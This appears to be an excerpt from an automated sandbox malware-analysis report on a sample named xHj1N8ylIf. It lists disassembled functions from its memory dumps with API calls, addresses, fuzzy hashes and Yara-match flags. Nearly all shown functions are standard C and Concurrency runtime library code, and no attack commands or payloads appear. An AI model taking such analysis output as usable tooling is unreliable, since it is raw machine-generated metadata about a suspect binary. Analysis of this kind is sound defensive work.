Instruction ID: 07903836bbe2834e117c05572e3a0004eb042ba6b76b4cc778a756959756a69c
Opcode Fuzzy Hash: 38cdf66307bc8ed7e0cc052d061e16f605bc2f8f37fdc0a32c8cd296608d4886
Instruction Fuzzy Hash: 90011D76008249FFCF119E54EC419EE3B26BB05758B14891FF918C4131DB36EAB1AB49

Function 02108DDE Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 02108E10
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 02108E20
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 02108E30
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 02108E44

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 38cdf66307bc8ed7e0cc052d061e16f605bc2f8f37fdc0a32c8cd296608d4886
Instruction ID: eb9c42d811ecd49d22d84118ffe711a829d54980c8bfe9cb6e5ef4cac63d184c
Opcode Fuzzy Hash: 38cdf66307bc8ed7e0cc052d061e16f605bc2f8f37fdc0a32c8cd296608d4886
Instruction Fuzzy Hash: 14011DB648814DABCF529F54EC80CAE3B66AB05754F258411F928850B1D7B2C670EB41

Function 004101AC Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 004101C5

Part of subcall function 0040F54F: ___crtGetTimeFormatEx.LIBCMT ref: 0040F565
Part of subcall function 0040F54F: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 0040F584

GetLastError.KERNEL32 ref: 004101E1
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004101F7
__CxxThrowException@8.LIBVCRUNTIME ref: 00410205

Part of subcall function 0040F325: SetThreadPriority.KERNEL32(?,?), ref: 0040F331

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: 9e311770080c77f595df2e4828a9ada75ad50ffd314b04fe3222c7a185b41ec0
Instruction ID: 3891731ca07685bc3b589520bb066dd2e0ae69ecd14e3fdbbdfdfb53cbebc02f
Opcode Fuzzy Hash: 9e311770080c77f595df2e4828a9ada75ad50ffd314b04fe3222c7a185b41ec0
Instruction Fuzzy Hash: E3F08272A042257AD730B6765C07FFB35AC9B01754F50487BB901E65C2E9FCD88446B8

Function 0040A26A Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 0040DD7B

Part of subcall function 0040D5ED: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0040D60F
Part of subcall function 0040D5ED: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0040D630

Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0040DD8E
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0040DD9A
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0040DDA3

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefLibraryLoadRegisterSchedulerSwitch_to_active
String ID:
API String ID: 4284812201-0
Opcode ID: e4e604a56d2d3b71694ad2024f8f548173e08348f1e90be9d0dc21d64b033d4e
Instruction ID: 9f35ae103898110b2c6e2c8b129b6db8af4b6a645143e4d16aa0ac386b8db627
Opcode Fuzzy Hash: e4e604a56d2d3b71694ad2024f8f548173e08348f1e90be9d0dc21d64b033d4e
Instruction Fuzzy Hash: BBF02430F00308A7DF14BBE6488266E26865F80328F04423FB911BB3C2CE7C8D0996AD

Function 02100413 Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 0210042C

Part of subcall function 020FF7B6: ___crtGetTimeFormatEx.LIBCMT ref: 020FF7CC
Part of subcall function 020FF7B6: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 020FF7EB

GetLastError.KERNEL32 ref: 02100448
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0210045E
__CxxThrowException@8.LIBVCRUNTIME ref: 0210046C

Part of subcall function 020FF58C: SetThreadPriority.KERNEL32(?,?), ref: 020FF598

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: 9e311770080c77f595df2e4828a9ada75ad50ffd314b04fe3222c7a185b41ec0
Instruction ID: b546758f53d00910e4128dbe536c962e86ab9d4ef2a693b4491f2fcf7e4b10e1
Opcode Fuzzy Hash: 9e311770080c77f595df2e4828a9ada75ad50ffd314b04fe3222c7a185b41ec0
Instruction Fuzzy Hash: 80F0277258031639D370B2715C0AFFB36AC9B01740F50082ABA00E28C1FEE4D4008AB8

Function 02109D14 Relevance: 6.0, APIs: 4, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 02109D28
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 02109D4C
std::invalid_argument::invalid_argument.LIBCONCRT ref: 02109D5F
__CxxThrowException@8.LIBVCRUNTIME ref: 02109D6D

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID:
API String ID: 3657713681-0
Opcode ID: 8e73bf2942617f99f400e67a44766925d6da5185444425d31cd62b1748448a9f
Instruction ID: bdcab4e83aa56732826872d342e4a9416dfa2ec2cd37eb6fa82346e839f5f3eb
Opcode Fuzzy Hash: 8e73bf2942617f99f400e67a44766925d6da5185444425d31cd62b1748448a9f
Instruction Fuzzy Hash: CFF05935AC020467C724FB50D8D1CDEB33A8E80F11730842ADE06175C2DFB1B906CB90

Function 0040F291 Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,00420232,000000A4,000000FF,0000000C), ref: 0040F2A8
GetLastError.KERNEL32(?,?,?,?,00415269,?,?,?,?,00000000,?,00000000), ref: 0040F2B7
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F2CD
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F2DB

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
Opcode ID: a2881c82a4cd6a8f6d607c9cc799ef4b5e58fb1508db8cc361f6419f5ced6c66
Instruction ID: 02f9a03264539930563cd34e7be57c163234cb2cc31304c403e6ca74099714cd
Opcode Fuzzy Hash: a2881c82a4cd6a8f6d607c9cc799ef4b5e58fb1508db8cc361f6419f5ced6c66
Instruction Fuzzy Hash: 20F0823660010ABBCB10EFA19D05F9B37686B00304F1045B6B610E11D1D778D6149764

Function 020FF4F8 Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,00420232,000000A4,000000FF,0000000C), ref: 020FF50F
GetLastError.KERNEL32(?,?,?,?,021054D0,?,?,?,?,00000000,?,00000000), ref: 020FF51E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF534
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF542

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
Opcode ID: a2881c82a4cd6a8f6d607c9cc799ef4b5e58fb1508db8cc361f6419f5ced6c66
Instruction ID: be1a0581a35a0f6209bddfd9b3a9d3211b4e3604a0e1e835a2978ffa271f731e
Opcode Fuzzy Hash: a2881c82a4cd6a8f6d607c9cc799ef4b5e58fb1508db8cc361f6419f5ced6c66
Instruction Fuzzy Hash: 64F0A03564020ABBCF10EFA4ED08FAF37BD6B00704F600260B711E24D0EB74D614AB60

Function 0040EFB6 Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 0040EFCC
GetLastError.KERNEL32(?,?,?,?,?,0040D7D9), ref: 0040EFDA
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040EFF0
__CxxThrowException@8.LIBVCRUNTIME ref: 0040EFFE

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: 403b29c567172a74e6e87011fa50ac1eff87a2880b57c47896b372ac5390490e
Instruction ID: 88e0b1bbaa0f7681663c4c788f6c7ee9a8ce8510b39d6b1afe57d8476506bdca
Opcode Fuzzy Hash: 403b29c567172a74e6e87011fa50ac1eff87a2880b57c47896b372ac5390490e
Instruction Fuzzy Hash: 86E0D86260421A3AE710B6765C07F7B75AC5B00748F40087ABD10F51C3FE7CD50041AC

Function 020FF21D Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 020FF233
GetLastError.KERNEL32(?,?,?,?,?,020FDA40), ref: 020FF241
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF257
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF265

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: 403b29c567172a74e6e87011fa50ac1eff87a2880b57c47896b372ac5390490e
Instruction ID: 014a27dfdf08953e50d93a1a9752495042ee74e57289bba549754620f543a65f
Opcode Fuzzy Hash: 403b29c567172a74e6e87011fa50ac1eff87a2880b57c47896b372ac5390490e
Instruction Fuzzy Hash: DFE0DF66A8030A2AE791B2B59C0AFBA36ED9B00708F840861BB14E18C2FAA4D50059E4

Function 00415F69 Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040F392: TlsAlloc.KERNEL32(?,0040D7D9), ref: 0040F398

TlsAlloc.KERNEL32(?,0040D7D9), ref: 0042061F
GetLastError.KERNEL32 ref: 00420631
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00420647
__CxxThrowException@8.LIBVCRUNTIME ref: 00420655

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: b580b83d05773be3545516e2bd53cd7325071f2819cad010c45552befa2340ea
Instruction ID: d55b72d3dc389f1b55e33ca6daf9b42cf2c1301c1d7b9e40057b85ffcf4c9527
Opcode Fuzzy Hash: b580b83d05773be3545516e2bd53cd7325071f2819cad010c45552befa2340ea
Instruction Fuzzy Hash: 8DE09B759042259AC710BB757C4676E72A86600329B500A7BB511E21D3EE7CD0144A6D

Function 021061D0 Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 020FF5F9: TlsAlloc.KERNEL32(?,020FDA40), ref: 020FF5FF

TlsAlloc.KERNEL32(?,020FDA40), ref: 02110886
GetLastError.KERNEL32 ref: 02110898
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 021108AE
__CxxThrowException@8.LIBVCRUNTIME ref: 021108BC

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: b580b83d05773be3545516e2bd53cd7325071f2819cad010c45552befa2340ea
Instruction ID: ecc9405a24355eb8d4e48f914b942e6c936267d6389ae59c2ce2c6f9d3541683
Opcode Fuzzy Hash: b580b83d05773be3545516e2bd53cd7325071f2819cad010c45552befa2340ea
Instruction Fuzzy Hash: 5EE0D8B4C94306EEC344BBB4AC4D6BA366DAA04315B500E76FB61E24E1FF34D0418FA9

Function 0040F1CD Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,0040D7D9), ref: 0040F1D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,0040D7D9), ref: 0040F1E6
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F1FC
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F20A

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: db79976fc3b98dd227c5f9f9ef7a1bf17d5001f729c9ebfd991715e3c7e5237f
Instruction ID: 47612340566f4a9e53bbf7ce0f7f02b3a4e7c0ffb8a5b8ca93bd61d5f3af6adb
Opcode Fuzzy Hash: db79976fc3b98dd227c5f9f9ef7a1bf17d5001f729c9ebfd991715e3c7e5237f
Instruction Fuzzy Hash: 35E0487560010AE7C710FBB5DD49BAF73BC6A00749F600476A501F6191EB78DA089778

Function 020FF434 Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,020FDA40), ref: 020FF43E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,020FDA40), ref: 020FF44D
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF463
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF471

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: db79976fc3b98dd227c5f9f9ef7a1bf17d5001f729c9ebfd991715e3c7e5237f
Instruction ID: bd89c66d950bec19ae3730626800d9fa12de1a9c988afad137b43fd6d316d805
Opcode Fuzzy Hash: db79976fc3b98dd227c5f9f9ef7a1bf17d5001f729c9ebfd991715e3c7e5237f
Instruction Fuzzy Hash: 7CE04F7564020BABCB40FBB4AD49FAF73BD6A00705B600465A611E2491EB74EA04AB65

Function 0040F325 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 0040F331
GetLastError.KERNEL32 ref: 0040F33D
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F353
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F361

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: c08c32c8bfca0eda3250a6e6aa9f9349d48b9340058a50d5862c0c3fb5b0374b
Instruction ID: ad1b30f8b29eb4754f3c147ea891a3c9bc644e3f106de30e3fb40403659093ba
Opcode Fuzzy Hash: c08c32c8bfca0eda3250a6e6aa9f9349d48b9340058a50d5862c0c3fb5b0374b
Instruction Fuzzy Hash: EEE08635500119ABDB10BF71DC05BBF366C7B00354F404476B911E64E2EB79E51486AC

Function 0040F3EB Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,00414611,00000000,?,?,0040D7D9,?,?,?,00000000,?,00000000), ref: 0040F3F7
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 0040F403
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F419
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F427

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: 9832a7af861006e0a617bf302701c4e99d97878f0df5dc0ce0b92869beb58389
Instruction ID: af6f81f0ae9f997f41eac523e7b58aeaf6014cd0ab5594ec7dd364ba1872c0e2
Opcode Fuzzy Hash: 9832a7af861006e0a617bf302701c4e99d97878f0df5dc0ce0b92869beb58389
Instruction Fuzzy Hash: 04E08636500119BBCB20BF61EC05BBB36AC7B00348F504476BD11E60E2EB7DD51486AC

Function 020FF652 Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,02104878,00000000,?,?,020FDA40,?,?,?,00000000,?,00000000), ref: 020FF65E
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 020FF66A
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF680
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF68E

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: 9832a7af861006e0a617bf302701c4e99d97878f0df5dc0ce0b92869beb58389
Instruction ID: 0b2bf9f237d81bf6699c12d05d9d6adc512a5b3e3679c8cbbaf49e309c7af198
Opcode Fuzzy Hash: 9832a7af861006e0a617bf302701c4e99d97878f0df5dc0ce0b92869beb58389
Instruction Fuzzy Hash: A7E0863614020A7BCB51BB64DC08FBA36BD7B00344F504465BA11D54F1EF75D5109AA8

Function 020FF58C Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 020FF598
GetLastError.KERNEL32 ref: 020FF5A4
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF5BA
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF5C8

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: c08c32c8bfca0eda3250a6e6aa9f9349d48b9340058a50d5862c0c3fb5b0374b
Instruction ID: 19bc7ae158569a66b02685d2152f79b3100c039b4f59244d6877a5bb97752d19
Opcode Fuzzy Hash: c08c32c8bfca0eda3250a6e6aa9f9349d48b9340058a50d5862c0c3fb5b0374b
Instruction Fuzzy Hash: 0BE0863514020A7BCB51BFA4DC08BBE37BD7F00744F404565B711D18E1EF75D1149A94

Function 0040F392 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,0040D7D9), ref: 0040F398
GetLastError.KERNEL32 ref: 0040F3A5
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F3BB
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F3C9

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: 79b7551ff3a801eb0c88ade21834b4b22cc3753c769526aeef4bd78f53a93f04
Instruction ID: be761c558a9f5699cf18598b180e9d3bee1dccdc7d39723afc0543c90a315d7c
Opcode Fuzzy Hash: 79b7551ff3a801eb0c88ade21834b4b22cc3753c769526aeef4bd78f53a93f04
Instruction Fuzzy Hash: CFE0C23250011967D720B775AC0ABBF726C7A00328F900A77F921E25E6EB7CD40886AC

Function 020FF5F9 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,020FDA40), ref: 020FF5FF
GetLastError.KERNEL32 ref: 020FF60C
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF622
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF630

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: 79b7551ff3a801eb0c88ade21834b4b22cc3753c769526aeef4bd78f53a93f04
Instruction ID: 801cc96435986a0dfaea5ae7c5b11e2831bc256c5d887f2359bdd9bebfc62109
Opcode Fuzzy Hash: 79b7551ff3a801eb0c88ade21834b4b22cc3753c769526aeef4bd78f53a93f04
Instruction Fuzzy Hash: 04E0C23418020A6AC790B7B4AC0CBBA32AD6A00314BA00A21E621D28E0EF74D0049AA4

Function 0042BD2D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0042BDBD

Strings

pow, xrefs: 0042BD95, 0042BDB2

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8813d14ff12db0fab082b7680c912f1b121f26e65e05ad6cab00e7151d8c8a0e
Instruction ID: e59391396e65788a4ebd998fb9d6551a54048acbd5d5e26246bd112aefaef8eb
Opcode Fuzzy Hash: 8813d14ff12db0fab082b7680c912f1b121f26e65e05ad6cab00e7151d8c8a0e
Instruction Fuzzy Hash: B9515C61B18A0196CB167714ED013EB3BA0DB44740F649D6BE095823E9EB3D8C86DACF

Function 021155E7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0211561A
__IsNonwritableInCurrentImage.LIBCMT ref: 021156D3

Strings

csm, xrefs: 021156BD

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 8cd6326673c68eecee32f82c51c0de9d454083274cf32adb26fe02deef95564d
Instruction ID: 3eb1f9e700f78a594c6f69f6a7f4395baf968234a58b0828a5fec234c7392907
Opcode Fuzzy Hash: 8cd6326673c68eecee32f82c51c0de9d454083274cf32adb26fe02deef95564d
Instruction Fuzzy Hash: 3941A274A40248AFCF10DF68C884AAEBBB6BF85328F548175E8155B391D772DA05CFD1

Function 02126022 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

Part of subcall function 02126141: _free.LIBCMT ref: 021261A7

Part of subcall function 02125DB6: GetOEMCP.KERNEL32(00000000), ref: 02125DE1

_free.LIBCMT ref: 0212609A
_free.LIBCMT ref: 021260D0

Strings

8hE, xrefs: 021260C4

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: 8hE
API String ID: 3291180501-2125150602
Opcode ID: 4a8111a0473c21f172078903722c53b076ccd058cf28126b71fd079b99ea01fa
Instruction ID: 2333b6e933377542190d149b53c9604bb62cd18ba0f0a514627dbacaed6f869e
Opcode Fuzzy Hash: 4a8111a0473c21f172078903722c53b076ccd058cf28126b71fd079b99ea01fa
Instruction Fuzzy Hash: DF312631D44268AFDB10DFA8D440BADB7EAEF40320F2501A9F8049B2D1EB32AD58DF04

Function 00437B19 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

